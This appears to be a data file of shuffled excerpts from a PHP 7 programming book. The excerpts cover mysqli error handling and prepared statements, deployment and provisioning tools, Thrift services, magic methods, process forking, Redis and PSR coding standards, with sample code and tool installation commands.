simple try...catch block, as follows: <?php mysqli_report ( MYSQLI_REPORT_ALL ); try { $mysqli = new mysqli( '127.0.0.1' , 'root' , 'mL08e!Tq' , 'sakila' ); } catch (Throwable $t ) { exit ( $t ->getMessage()); } Ideally, we would want to use mysqli_sql_exception for more targeted MySQL exceptions-only handling: <?php mysqli_report(MYSQLI_REPORT_ALL); try { $mysqli = new mysqli('127.0.0.1', 'root', 'mL08e!Tq', 'sakila'); } catch (mysqli_sql_exception $e) { exit($e->getMessage()); } We can pass one of the following report levels to the mysqli_report() function: MYSQLI_REPORT_INDEX : This reports if a bad index or no index at all was used in a query MYSQLI_REPORT_ERROR : This reports errors from the MySQL function calls MYSQLI_REPORT_STRICT : This reports mysqli_sql_exception instead of possible warnings MYSQLI_REPORT_ALL : This reports everything MYSQLI_REPORT_OFF : This reports nothing While MYSQLI_REPORT_ALL may seem like an overkill, using it may pinpoint MySQL errors that are not obvious on the application level, such as the lack of an index on a column. Dedicated server Dedicated server The dedicated server assumes a real physical machine provided by the hosting provider. Such a machine does not share resources with anyone else other than us. This makes it a viable option for high-performance and mission-critical applications. The popular PCMag magazine ( http://www.pcmag.com )shares the list of the best dedicated web hosting services of 2017 as follows: HostGator Web Hosting : http://www.hostgator.com DreamHost Web Hosting : https://www.dreamhost.com InMotion Web Hosting : https://www.inmotionhosting.com/ 1&1 Web Hosting : https://www.1and1.com Liquid Web Hosting : https://www.liquidweb.com Hostwinds Web Hosting : https://www.hostwinds.com GoDaddy Web Hosting : https://www.godaddy.com Bluehost Web Hosting : https://www.bluehost.com SiteGround Web Hosting : https://www.siteground.com iPage Web Hosting : http://www.ipage.com There are quite a few variations between these hosting services, mostly in terms of memory and storage, as you can see in this screenshot: While they come at a higher cost, dedicated servers guarantee a level of performance and full control over the machine. At the same time, managing scalability and redundancy can easily turn into a challenge of its own. Installing Deployer Installing Deployer Installing Deployer is quite easy via the following few commands: curl -LO https://deployer.org/releases/v4.3.0/deployer.phar mv deployer.phar /usr/local/bin/dep chmod +x /usr/local/bin/dep Running the dep console command now gives us the following output:"},
    {"text": "Provisioning a web server Provisioning a web server With the newly pulled fvarovillodres.lamp rule, we should be able to effortlessly deploy a new web server. To do so, all it takes is creating a playbook, such as lamp.yaml , with its content as follows: - hosts: mphp7 roles: - role: fvarovillodres.lamp become: yes Now, we can easily run our lamp.yaml playbook via the following command: ansible-playbook lamp.yml This should trigger the tasks within the fvarovillodres.lamp role that we pulled from the Galaxy hub upon completion: Finally, opening a http://45.76.88.214/ URL should give us an Apache page. The overall topic of provisioning, or even Ansible, is a broad subject worth a book of its own. The example given here is merely to showcase the ease of use of the available tooling in order to address the provisioning in an automated way. There is one important takeaway here, which is that we need full control over the server/node in order to utilize the provisioning. This is why shared types of hosting are excluded from any such discussions. The exact example given here uses a single server box. However, it is not hard to imagine how easily this approach can be scaled up to a dozen or even hundreds of server machines just by amending the Ansible configuration. We could have easily used Ansible itself to automate the deployment for our application, where each deployment, for instance, might trigger a new server creation process with code being pulled from some Git repository or alike. There are, however, more simpler, specialized tools to handle automated deployments. Iterable pseudo-type Iterable pseudo-type Quite often, functions in PHP either accept or return an array or object implementing the \\Traversable interface. Though both types can be used in the foreach constructs, fundamentally, an array is a primitive type; objects are not. This made it difficult for functions to reason about these types of iterative parameters and return values. PHP 7.1 addresses this need by introducing the iterable pseudo-type to the mix. The idea is to use it as a type declaration on a parameter or return type to indicate that the value is iterable . The iterable type accepts any array, any object implementing Traversable, and generators. The following example demonstrates the use of iterable as a function parameter: function import(iterable $users) { // ... } function import(iterable $users = null) { // ... } function import(iterable $users = []) { // ... } Trying to pass the value to the preceding import function other than an array instance of Traversable or generator will throw \\TypeError . If, however, the default value is assigned, be it null or an empty array, the function will work. The following examples demonstrates the use of iterable as a function return value: function export(): iterable { return [ 'Johny', 'Tom', 'Matt' ]; } function mix(): iterable { return [ 'Welcome', 33, 4200.00 ]; } function numbers(): iterable { for ($i = 0; $i <= 5; $i++) { yield $i; } } One thing to be careful about is that iterable is implemented as a reserved class name in PHP. What this means is that any user class, interface, or trait named iterable will throw an error. Setting up a sample application Setting up a sample application The sample application for Behat testing is the same one we used for PHPUnit testing. We will merely extend it a bit by adding an extra class to it. Given the lack of any real \"behavior\" in our PHPUnit sample application, our extension here will include a dummy shopping cart functionality. Therefore, we will add the src\\Foggyline\\Checkout\\Model\\Cart.php file, with its content as follows: <?php declare (strict_types= 1 ); namespace Foggyline\\Checkout\\Model; class Cart implements \\Countable { protected $productQtyMapping = []; public function addProduct(\\Foggyline\\Catalog\\Model\\Product $product , int $qty ): self { $this -> productQtyMapping [ $product ->getId()][ 'product' ] = $product ; $this -> productQtyMapping [ $product ->getId()][ 'qty' ] = $qty ; return $this ; } public function removeProduct( $productId ): self { if ( isset ( $this -> productQtyMapping [ $productId ])) { unset ( $this -> productQtyMapping [ $productId ]); } return $this ; } public function getSubtotal() { $subtotal = 0.0 ; foreach ( $this -> productQtyMapping as $mapping ) { $subtotal += ( $mapping [ 'qty' ] * $mapping [ 'product' ]->getPrice()); } return $subtotal ; } public function getTotal() { $total = 0.0 ; foreach ( $this -> productQtyMapping as $mapping ) { $total += ( $mapping [ 'qty' ] * ( $mapping [ 'product' ]->getPrice() + ( $mapping [ 'product' ]->getPrice() * ( $mapping [ 'product' ]->getTaxRate() / 100 )))); } return $total ; } public function count() { return count ( $this -> productQtyMapping ); } } Leaving the original index.php file as it is, let's go ahead and create the index_2.php file, with its content as follows: <?php $loader = require __DIR__ . '/vendor/autoload.php' ; $loader ->addPsr4( 'Foggyline \\\\ ' , __DIR__ . '/src/Foggyline' ); use Foggyline\\Catalog\\Model\\Product; use \\Foggyline\\Checkout\\Model\\Cart; $cart = new Cart(); $cart ->addProduct( new Product( 'RL' , 'Red Laptop' , 75.00 , 25 ), 1 ); $cart ->addProduct( new Product( 'YL' , 'Yellow Laptop' , 100.00 , 25 ), 1 ); echo $cart ->getSubtotal(), PHP_EOL ; echo $cart ->getTotal(), PHP_EOL ; $cart ->removeProduct( 'YL' ); echo $cart ->getSubtotal(), PHP_EOL ; echo $cart ->getTotal(), PHP_EOL ; We won't actually be needing this one for testing, but it goes to show how our dummy cart can be utilized."},
    {"text": "Executing tests Executing tests Running the test suite we have just written is as easy as executing the phpunit command within our project root directory. Upon execution, phpunit will look for the phpunit.xml file and act accordingly. This means that phpunit will know where to look for the test files. Successfully executed tests show an output like the following screenshot: However, the unsuccessfully executed tests show an output like the following screenshot: We can easily modify one of the test classes, as we did with the preceding ViewTest , in order to trigger and observe the reactions of phpunit to failures. Defining service Defining service Working with Apache Thrift in PHP can be described through the following few steps: Defining the services through the IDL file Autogenerating language bindings Providing PHP implementation of defined interfaces Exposing provided service implementation through the server Consuming exposed services via client Thrift services begin their life as .thrift files, that is, files described by IDL. The IDL files support definition of several data types: bool : This is a Boolean value (true or false) byte : This is an 8-bit signed integer i16 : This is a 16-bit signed integer i32 : This is a 32-bit signed integer i64 : This is a 64-bit signed integer double : This is a 64-bit floating point number string : This is a UTF-8 encoded text string binary : This is a sequence of unencoded bytes struct : This is essentially equivalent to classes in OOP languages, but without inheritance Container ( list , set , map ): This maps to common container types in most programming languages To keep things simple, we will focus our use on the string type. Let's create our first Apache Thrift service. We do so by creating a Greeting.thrift file within the thrift-service/ directory, as follows: namespace php user service GreetingService { string hello(1: string name), string goodbye() } We can see that the Thrift file is a pure interface--there is no implementation here. The namespace php user syntax translates to when code generation engine runs, generate GreetingService within user namespace for PHP type of generated code . If we were using another language alongside PHP, let's say Java, we could easily add another line saying namespace java customer . This would then generate PHP bindings in one namespace, and Java in another. We can see that the service keyword is being used to specify the GreetingService interface. Within the interface, we then have two method definitions. The hello(1: string name) string receives a single name parameter, whereas goodbye() receives no parameters. See https://thrift.apache.org/docs/idl for more details about IDL syntax. With the Greeting.thrift file in place, we can trigger code generation to get us the necessary PHP bindings. We can do so by executing the following code on the console: thrift -r -gen php:server Greeting.thrift At this point, we should have our folder structure similar to the following screenshot: We can see that the thrift command generated two files for us under the gen-php/user directory. The GreetingService.php is file quite a large one; with nearly 500 lines of code, it defines various helper functions and structures needed to work with our Thrift service: Whereas, the Types.php file defines several different types for use: All of these types reside in thrift-service/vendor/thrift/lib/php/lib/Thrift , which is why we did the git clone https://github.com/apache/thrift.git command earlier. Up to this point, our thrift-service/gen-php/user/GreetingService.php service still does not really do anything in terms of the hello() and goodbye() method logic. Objects and references Objects and references There are two ways to pass arguments within the code: By reference : This is where both the caller and callee use the same variable for argument. By value : This is where both the caller and callee have their own copy of the variable for argument. If the callee decides to change the value of the passed argument, the caller would not notice it. by value is the default PHP behavior, as shown in the following example: <?php class Util { function hello($msg) { $msg = \"<p>Welcome $msg</p>\"; return $msg; } } $str = 'John'; $obj = new Util(); echo $obj->hello($str); // Welcome John echo $str; // John Looking at the internals of the hello() method, we can see it is resetting the $msg argument value to another string value wrapped in HTML tags. The default PHP passed by the value behavior prevents this change to propagate outside the scope of a method. Using the & operator just before the argument name in the function definition, we can force the passed by reference beh avior: <?php class Util { function hello(&$msg) { $msg = \"<p>Welcome $msg</p>\"; return $msg; } } $str = 'John'; $obj = new Util(); echo $obj->hello($str); // Welcome John echo $str; // Welcome John Being able to do something does not necessarily mean we should. The passing by reference behavior should be used with caution, only if there's a really good reason to do it. The preceding example clearly shows the side-effect of the internal hello() method to a simple scalar type value within the outside scope. Object instance methods, or even plain functions, should not have these types of side-effect to the outside scope. Several PHP functions, such as sort() , use the & operator to force the pass by reference behavior on a given array argument. With all being said, where do objects fit in? Objects in PHP lean towards the passed by reference behavior. When an object is passed as an argument, it is still being passed as a value, but the value being passed is not the object itself, it is the object identifier. Therefore, the act of passing the object as an argument feels more like it is being passed by reference: <?php class User { public $salary = 4200; } function bonus(User $u) { $u->salary = $u->salary + 500; } $user = new User(); echo $user->salary; // 4200 bonus($user); echo $user->salary; // 4700 Since objects are bigger structures than scalar values, passing by reference greatly minimizes the memory and CPU footprint. Why subscribe? Why subscribe? Fully searchable across every book published by Packt Copy and paste, print, and bookmark content On demand and accessible via a web browser"},
    {"text": "Error Error The Error class is the base class for internal PHP errors in PHP 7 . Nearly all fatal and recoverable fatal errors in PHP 5.x now throw instances of the Error object, making themselves catchable via the try...catch blocks. The Error class implements the Throwable interface , as per the following class synopsis: Error implements Throwable { /* Properties */ protected string $message ; protected int $code ; protected string $file ; protected int $line ; /* Methods */ public __construct ( [ string $message = \"\" [, int $code = 0 [, Throwable $previous = NULL ]]] ) final public string getMessage (void) final public Throwable getPrevious (void) final public mixed getCode (void) final public string getFile (void) final public int getLine (void) final public array getTrace (void) final public string getTraceAsString (void) public string __toString (void) final private void __clone (void) } The following example demonstrates the use of the Error instance in the catch block: <?php class User { function hello($name) { return 'Hello ' . $name; } } // Case 1 - working try { $user = new User(); $user->greeting('John'); } catch (Error $e) { echo 'Caught: ' . $e->getMessage(); } // Case 2 - working try { $user = new User(); $user->greeting('John'); } catch (Throwable $t) { echo 'Caught: ' . $t->getMessage(); } However, there are still cases where some errors are not catchable: <?php ini_set('memory_limit', '1M'); try { $content = ''; while (true) { $content .= 'content'; } } catch (\\Error $e) { echo 'Caught ' . $e->getMessage(); } The preceding example triggers the PHP Fatal error: Allowed memory size of 2097152 bytes exhausted... error. Furthermore, even warnings get passed by, as shown in the following example: <?php error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('memory_limit', '1M'); try { str_pad('', PHP_INT_MAX); } catch (Throwable $t) { echo 'Caught ' . $t->getMessage(); } The preceding example triggers the PHP Warning: str_pad(): Padding length is too long... error. It goes to say that we should be careful with our expectations towards catching core language errors, as some might slip through. Those that get caught are usually of the base Error class. However, some errors will throw a more specific subclass of Error : ArithmeticError , DivisionByZeroError , AssertionError , ParseError , and TypeError . Using __toString() Using __toString() The __toString() magic method triggers when we use an object in a string context. It allows us to decide how the object will react when it is treated like a string. Let's take a look at the following example: <?php class User { protected $name; protected $age; public function __construct($name, $age) { $this->name = $name; $this->age = $age; } } $user = new User('John', 34); echo $user; Here, we have a simple User class that accepts the $name and $age parameters through its constructor method. Other than that, there is nothing else to indicate how the class should respond to the attempt of using it in the string context, which is exactly what we are doing right after the class declaration, as we are trying to echo the object instance itself. In its current form, the resulting output would be as follows: Catchable fatal error: Object of class User could not be converted to string in... The __toString() magic method allows us to circumvent this error in a simple and elegant : <?php class User { protected $name; protected $age; public function __construct($name, $age) { $this->name = $name; $this->age = $age; } public function __toString() { return $this->name . ', age ' . $this->age; } } $user = new User('John', 34); echo $user; By adding the __toString() magic method, we were able to tailor the resulting string representation of our object into the following code line: John, age 34 The Guzzle HTTP client provides a practical use case example of the __toString() method through its PSR7 HTTP messaging interface implementations; whereas, some of the implementations make use of the __toString() method. The following code snippet is a partial extract of Guzzle's vendor/guzzlehttp/psr7/src/Stream.php class file that implements the Psr\\Http\\Message\\StreamInterface interface: public function __toString() { try { $this->seek(0); return (string) stream_get_contents($this->stream); } catch (\\Exception $e) { return ''; } } The try...catch block is pretty much a norm in the case of any logic-rich __toString() implementations. This is because we cannot throw an exception from within a __toString() method. Therefore, we need to make sure no error escapes."},
    {"text": "Multiprocessing Multiprocessing When speaking of multiprocessing , we often come across two seemingly colliding terms: process and thread . Where th e process can be thought of as a currently running instance of an application, a thread is a path of execution within a process. A thread can do pretty much anything a process can do. However, given that threads reside within the process, we look at them as a solution for lightweight tasks, or at least tasks lighter than those employed by a process. The PHP language leaves a lot to be desired in terms of multiprocessing/ multi threading. The following two stand out as the most popular solutions: pcntl_fork() : This is a function that forks the currently running process pthreads : This is an object-orientated API that provides multithreading based on Posix threads The pcntl_fork() function is a part of the PCNTL extension, whose functions we used in previous sections as well. The function only forks processes and cannot make threads. While pthreads is a more modern and OOP-aligned solution, we will continue our journey throughout this section with the pcntl_fork() function. When we run the pcntl_fork() function, it creates a child process for us. This child process differs from the parent process only by its PID and PPID : PID : This is the Process ID PPID : This is the Parent Process ID, the one that launched this PID While the actual process forking with the pcntl_fork() function is quite easy, it leaves several challenges for us to tackle. Challenges such as communication between processes and zombie children processes make it tedious to deliver stable applications. Let's take a look at the following use of the pcntl_fork() function: #!/usr/bin/env php <?php for ($i = 1; $i <= 5; $i++) { $pid = pcntl_fork(); if (!$pid) { echo 'Child ' . $i . PHP_EOL; sleep(2); exit; } } The preceding code results in the following output: $ time php ./app.php real 0m0.031s user 0m0.012s sys 0m0.016s $ Child 1 Child 4 Child 2 Child 3 Child 5 $ The console returned the control immediately, despite having five children processes running. The control was first returned right before the Child 1 string was outputted, and then, a few seconds later, all of the Child strings were outputted and the console returned the control once again. The output clearly shows that the children are not necessarily executed in the order they are forked in. The operating system decides on this, not us. We can further tune the behavior using the pcntl_waitpid() and pcntl_wexitstatus() functions. The pcntl_waitpid() function instructs PHP to wait for a child, whereas the pcntl_wexitstatus() function fetches the value returned by a terminated child. The following example demonstrates this: #!/usr/bin/env php <?php function generatePdf($content, $size) { echo 'Started PDF ' . $size . ' - ' . date('h:i:sa') . PHP_EOL; sleep(3); /* simulate PDF generating */ echo 'Finished PDF ' . $size . ' - ' . date('h:i:sa') . PHP_EOL; } $sizes = ['A1', 'A2', 'A3']; $content = 'foggyline'; for ($i = 0; $i < count($sizes); $i++) { $pid = pcntl_fork(); if (!$pid) { generatePdf($content, $sizes[$i]); exit($i); } } while (pcntl_waitpid(0, $status) != -1) { $status = pcntl_wexitstatus($status); echo \"Child $status finished! - \" . date('h:i:sa') . PHP_EOL; } While the majority of this example is similar to the previous one, notice the whole while loop at the bottom. The while loop will loop until the pcntl_waitpid() function returns -1 (no children left). Each iteration of the while loop checks for the return code of a terminated child, and stores it into the $status variable, which is then again evaluated in the while loop expression. Check out http://php.net/manual/en/ref.pcntl.php for more details about the pcntl_fork() , pcntl_waitpid() , and pcntl_wexitstatus() function parameters and return values. The preceding code results in the following output: $ time ./app.php Started PDF A2 - 04:52:37pm Started PDF A3 - 04:52:37pm Started PDF A1 - 04:52:37pm Finished PDF A2 - 04:52:40pm Finished PDF A1 - 04:52:40pm Finished PDF A3 - 04:52:40pm Child 2 finished! - 04:52:40pm Child 1 finished! - 04:52:40pm Child 0 finished! - 04:52:40pm real 0m3.053s user 0m0.016s sys 0m0.028s $ The console did not return the control now until all of the children finished executing, which is probably the preferred solution for most of the tasks we might be doing. Though process forking opens up several possibilities for us, we need to ask ourselves, Is it really worth the effort? If simply restructuring our application to use more message queues, CRONs, and other simpler technologies can yield a similar performance with the benefit of easier scaling, maintenance, and debugging, then we should probably avoid forking."},
    {"text": "Binding parameters Binding parameters More often than not, querying data comes with data binding. Security-wise, data binding is the way to go, as we should never concatenate query string with variables on our own. This leads to SQL injection attacks. We can bind data into a query using the prepare() and bind_param() methods of the respective mysqli and mysqli_stmt instances, as follows: <?php try { // Report on all types of errors mysqli_report ( MYSQLI_REPORT_ALL ); // Open a new connection to the MySQL server $mysqli = new mysqli( '127.0.0.1' , 'root' , 'mL08e!Tq' , 'sakila' ); $customerIdGt = 100 ; $storeId = 2 ; $email = \"%ANN%\" ; // Prepare an SQL statement for execution $statement = $mysqli ->prepare( 'SELECT * FROM customer WHERE customer_id > ? AND store_id = ? AND email LIKE ?' ); // Binds variables to a prepared statement as parameters $statement ->bind_param( 'iis' , $customerIdGt , $storeId , $email ); // Execute a prepared query $statement ->execute(); // Gets a result set from a prepared statement $result = $statement ->get_result(); // Fetch object from row/entry in result set while ( $customer = $result ->fetch_object()) { // Output customer info echo $customer -> first_name , ' ' , $customer -> last_name , PHP_EOL ; } // Close a prepared statement $statement ->close(); // Close database connection $mysqli ->close(); } catch (mysqli_sql_exception $e ) { // Output error and exit upon exception echo $e ->getMessage(); exit ; } This should give us the following output: The bind_param() method has an interesting syntax. It accepts two or more parameters. The first parameter--the $types string--contains one or more characters. These characters specify the types for the corresponding bind variables: i : This is the variable of a type integer d : This is the variable of a type double s : This is the variable of a type string b : This is the variable of a type blob The second and all of the following parameters represent the binding variables. Our example uses 'iis' for the $types parameter, which basically reads the bind_param() method and its parameters as: bind integer type ( $customerIdGt ), integer type ( $storeId ), and string type ( $email ). Installing React Installing React The React library is available as a Composer react/react package. Assuming we are still in our project directory where we installed RxPHP, we can simply execute the following command in order to add React to our project: composer require react/react This should give us an output similar to the following one: We can see quite a few interesting react/* packages being pulled in, react/event-loop being one of them. The messages suggesting we should install one of the more performant loop implementations are definitely worthy of interest, though out of the scope of this book. Inserting Inserting The simplicity behind th e Redis key-value mechanis m makes for a simple and straightforward set() method, through which we insert new entries, as shown in the following example: <?php try { $client = new Redis(); $client ->connect( 'localhost' , 6379 ); $client ->set( 'user' , [ 'name' => 'John' , 'age' => 34 , 'salary' => 4200.00 ]); // $client->get('user'); // returns string containing \"Array\" chars $client ->set( 'customer' , json_encode ([ 'name' => 'Marc' , 'age' => 43 , 'salary' => 3600.00 ])); // $client->get('customer'); // returns json looking string, which we can simply json_decode() } catch (RedisException $e ) { echo $e ->getMessage(), PHP_EOL ; } This should give us the following output: We should be careful when using the set methods with non-string like structures. The user key value resulted in the Array string being stored in Redis, and not the actual array structure. This is easily sorted by converting our array structure to JSON using json_encode() , right before we pass it onto the set() method. One great benefit of the set() method is that it supports the timeout in seconds, so we can easily write expressions such as the following: $client->set('test', 'test2', 3600); Although, calling the setex() method is the preferred way for when we want to add a timeout to our keys: $client->setex('key', 3600, 'value'); Timeouts are a great feature to use when using Redis as a cache database. They basically automate the cache lifetime for us. Conventions Conventions In this book, you will find a number of text styles that distinguish between different kinds of information. Here are some examples of these styles and an explanation of their meaning. Code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles are shown as follows: \"Objects might utilize the PHP Serializable interface, __sleep() or __wakeup() magic methods . \" A block of code is set as follows: interface RequestInterface extends MessageInterface { public function getRequestTarget(); public function withRequestTarget($requestTarget); } Any command-line input or output is written as follows: php index.php serverless invoke local --function hello New terms and important words are shown in bold. Words that you see on the screen, for example, in menus or dialog boxes, appear in the text like this: \"We start by clicking the New Project button under the Iron.io dashboard . \" Warnings or important notes appear in a box like this. Tips and tricks appear like this."},
    {"text": "Embracing Standards Embracing Standards Every profession and industry has its own set of standards. Whether formal or informal, they govern the way of doing things. The software industry tends to formalize standards into documents that establish various specifications and procedures designed to ensure the quality and reliability of products and services. They further incite the compatibility and interoperability processes, which otherwise might not be possible. Putting the code into the context of products, various coding standards have emerged over the years. Their use yields greater code quality and reduced cognitive friction over our codebase. With code quality being one of the pillars of sustainable software development, it's no surprise standards are of impeccable importance to any professional developer. When it comes to PHP, there are several layers of standards we need to take into consideration. There are coding standards specific to the language itself, and those specific to the individual library, framework, or platform. While some of these standards follow each other, others tend to clash sometimes. Usually, this clash is about little things, such as putting the opening function bracket in a new line or leaving it on the same line. That being the case, specific library, framework, and platform standards should take precedence over the pure language standards. Back in 2009, at the php[tek] conference in Chicago, a number of developers joined forces and founded the PHP Standards Group . Organized around the mailing list at standards@lists.php.net , the initial goal was to establish the proper autoloading standard. Autoloading was a serious challenge for framework and platform developers. Different developers were using different conventions when naming their class files. This had a serious impact on interoperability. The PHP Standards Recommendations , codenamed PSR-0 , set out to solve this issue by outlining practices and constraints that must be followed for autoloader interoperability. At its early stages, group acceptance into the PHP community was quite reserved. They had yet to earn the right to call themselves that in the eyes of the community. Two years later, the group renamed itself into Framework Interoperability Group , abbreviated to PHP-FIG . To this date, PHP-FIG has produced several PSRs, reaffirming its position among developers with each of them. The PHP-FIG and its PSRs were predated by the PEAR Coding Standard, which is still quite dominant today. It focuses mostly on the elements of the PHP language itself. These elements address the way we write functions, variables, classes, and so on. The PSRs on the other hand mostly focus on the interoperability side of things. The PHP-FIG and PEAR intersect within the bounds of PSR-1 and PSR-2; this makes developers free to follow a single set of standards now, the ones provided by the PHP-FIG group. In this chapter, we will take a detailed look at currently published and accepted PSR standards: PSR-1 - basic coding standard PSR-2 - coding style guide PSR-3 - logger interface PSR-4 - autoloading standard PSR-6 - caching interface PSR-7 - HTTP message interface PSR-13 - hypermedia links Throughout the PSRs, there is an extensive use of the MUST , MUST NOT , REQUIRED, SHALL, SHALL NOT , SHOULD , SHOULD NOT , RECOMMENDED , MAY , and OPTIONAL keywords. The meaning of these keywords is described in more detail under RFC 2119 ( http://www.ietf.org/rfc/rfc2119.txt ). Customer Feedback Customer Feedback Thanks for purchasing this Packt book. At Packt, quality is at the heart of our editorial process. To help us improve, please leave us an honest review on this book's Amazon page at https://www.amazon.com/dp/1785882813 . If you'd like to join our team of regular reviewers, you can e-mail us at customerreviews@packtpub.com . We award our regular reviewers with free eBooks and videos in exchange for their valuable feedback. Help us be relentless in improving our products! I hereby dedicate this book to my loving late grandma, Katarina, whose help throughout my school days will always be remembered and appreciated."},
    {"text": "Alarms Alarms The pcntl_alarm() function enriches the PHP signals functionality by providing an alarm clock for deliver y of a signal. Simply put, it creates a timer that sends a SIGALRM signal to the process after a given number of seconds. Once the alarm is fired, the signal handler function kicks in. Once the signal handler function code is done executing, we are taken back to the point in code where the application stopped before jumping into a signal handler function. Let's take a look at the following piece of code: #!/usr/bin/env php <?php declare(ticks = 1); echo 'started' . PHP_EOL; function signalHandler($signal) { echo 'Triggered signalHandler: ' . $signal . PHP_EOL; } pcntl_signal(SIGALRM, 'signalHandler'); pcntl_alarm(7); while (true) { echo 'loop ' . date('h:i:sa') . PHP_EOL; flush(); sleep(2); } echo 'finished' . PHP_EOL; We are using the pcntl_signal() function to register signalHandler as a signal handler function for the SIGALRM signal. We then call the pcntl_alarm() function, passing it the integer value of 7 seconds. The while loop is set to merely output something to the console, in order for us to understand the alarm behavior more easily. Once executed, the following output is shown: $ ./app.php started loop 02:17:28pm loop 02:17:30pm loop 02:17:32pm loop 02:17:34pm Triggered signalHandler: 14 loop 02:17:35pm loop 02:17:37pm loop 02:17:39pm loop 02:17:41pm loop 02:17:43pm loop 02:17:45pm loop 02:17:47pm loop 02:17:49pm loop 02:17:51pm We can see that the Triggered signalHandler: 14 string is shown only once. This is because the alarm was triggered only once. The timing shown in the output indicates the exact seven seconds of delay between the first loop iteration and the alarm. We could easily fire another pcntl_alarm() function call within the signalHandler() function itself: function signalHandler($signal) { echo 'Triggered signalHandler: ' . $signal . PHP_EOL; pcntl_alarm(3); } This would then transform our output into something like this: $ ./app.php started loop 02:20:46pm loop 02:20:48pm loop 02:20:50pm loop 02:20:52pm Triggered signalHandler: 14 loop 02:20:53pm loop 02:20:55pm Triggered signalHandler: 14 loop 02:20:56pm loop 02:20:58pm Triggered signalHandler: 14 loop 02:20:59pm loop 02:21:01pm Triggered signalHandler: 14 loop 02:21:02pm Though specifying multiple alarms is possible, doing so before the previous alarm was reached, makes the new alarm replace the old alarm. The usefulness of alarms becomes obvious when performing a non-linear processing inside our application. The pcntl_alarm() function is non-blocking, making it easy to toss around, without worrying about blocking the program execution. Using __invoke() Using __invoke() The __invoke() magic method gets triggered when the object is being called as a function. The m ethod accepts an optional number of parameters and is is able to return various types of data, or no data at all, as per the following synopsis: mixed __invoke([ $... ]) If an object class implements the __invoke() method, we can call the method by specifying parentheses () right after the object's name. This type of object is known as a functor or function object. The Wikipedia page ( https://en.wikipedia.org/wiki/Functor ) provides more information on the functor. The following block of code illustrates the simple __invoke() implementation: <?php class User { public function __invoke($name, $age) { echo $name . ', ' . $age; } } The __invoke() method can be triggered either by using the object instance as a function or by calling call_user_func() , $user = new User(); $user('John', 34); // outputs: John, 34 call_user_func($user, 'John', 34); // outputs: John, 34 Using the __invoke() method, we masquerade our classes as . var_dump(is_callable($user)); // true One of the benefits of using __invoke() is that it makes it possible to create a standard callback type across the language. This is much more convenient than using combinations of strings, objects, and arrays when referencing a function, object instance method, or class static method via the call_user_func() function. The __invoke() method makes for powerful language additions as we perceive opportunities for new development patterns; although, its misuse can lead towards an unclear and messy code."},
    {"text": "Creating server Creating server The thrift-service/server/ directory is where we will implement our project's server bits. Let's create a si ngle all-in-one thrift-service/server/index.php file that implements the hello() and goodbye() methods and exposes them through the http://thrift-service.server/index.php for any thrift request that may come in: <?php require_once __DIR__ . '/../vendor/thrift/lib/php/lib/Thrift/ClassLoader/ThriftClassLoader.php'; use Thrift\\ClassLoader\\ThriftClassLoader; use Thrift\\Transport\\TPhpStream; use Thrift\\Transport\\TBufferedTransport; use Thrift\\Protocol\\TBinaryProtocol; use user\\GreetingServiceProcessor; use user\\GreetingServiceIf; $loader = new ThriftClassLoader(); $loader->registerNamespace('Thrift', __DIR__ . '/../vendor/thrift/lib/php/lib'); $loader->registerDefinition('user', __DIR__ . '/../gen-php'); $loader->register(); class GreetingServiceImpl implements GreetingServiceIf { public function hello($name) { return 'Hello ' . $name . '!'; } public function goodbye() { return 'Goodbye!'; } } header('Content-Type', 'application/x-thrift'); $handler = new GreetingServiceImpl(); $processor = new GreetingServiceProcessor($handler); $transport = new TBufferedTransport(new TPhpStream(TPhpStream::MODE_R | TPhpStream::MODE_W)); $protocol = new TBinaryProtocol($transport, true, true); $transport->open(); $processor->process($protocol, $protocol); $transport->close(); We started off by including the ThriftClassLoader class. This loader class then enabled us to set the auto-loading for the entire Thrift and user namespaces. We then moved onto the hello() and goodbye() method implementations through the GreetingServiceImpl class. Finally, we instantiated the appropriate handler , processor , transport , and protocol in order to be able to process incoming requests. Setting up Behat Setting up Behat Much like PHPUnit, Behat can be installed as a tool and library. The tool version being the .phar archive, we can download it from the official GitHub repository, where the library version comes packed as a Composer package. Assuming that we are using the Ubuntu 16.10 (Yakkety Yak) installation, installing the Behat as a tool is easy through the following commands: wget https://github.com/Behat/Behat/releases/download/v3.3.0/behat.phar chmod +x behat.phar sudo mv behat.phar /usr/local/bin/behat behat --version This should give us the following output: Installing Behat as a library is as easy as running the following console command within the root of our project: composer require behat/behat This should give us the final output, as shown in the following screenshot: The Behat library now becomes available under the vendor/behat directory and its console tool executable under the vendor/bin/behat file."},
    {"text": "React event loop React event loop Without any of the suggested event loop extensions, React event loop defaults to the React\\EventLoop\\StreamSelectLoop class, which is a stream_select() function-based event loop. The page at http://php.net/manual/en/function.stream-select.php states, The stream_select() function accepts arrays of streams and waits for them to change status As we already saw in our previous examples, making an event loop in React is simple <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); // Within the loop $loop ->run(); We are using the Factory::create() static function, which is implemented as follows: class Factory { public static function create() { if (function_exists('event_base_new')) { return new LibEventLoop(); } elseif (class_exists('libev\\EventLoop', false)) { return new LibEvLoop; } elseif (class_exists('EventBase', false)) { return new ExtEventLoop; } return new StreamSelectLoop(); } } Here, we can see that unless we have ext-libevent , ext-event , or ext-libev installed, then the StreamSelectLoop implementation is used. Each iteration of the loop is a tick. The event loop tracks timers and streams. Without either of these two, there are no ticks, and the loop simply <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; echo 'STEP#1 ' , time (), PHP_EOL ; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); echo 'STEP#2 ' , time (), PHP_EOL ; $loop ->run(); echo 'STEP#3 ' , time (), PHP_EOL ; The preceding code gives us the following output: As soon as we add some timers, the situation ch <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; echo 'STEP#1 ' , time (), PHP_EOL ; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); echo 'STEP#2 ' , PHP_EOL ; $loop ->addTimer( 2 , function () { echo 'timer#1 ' , time (), PHP_EOL ; }); echo 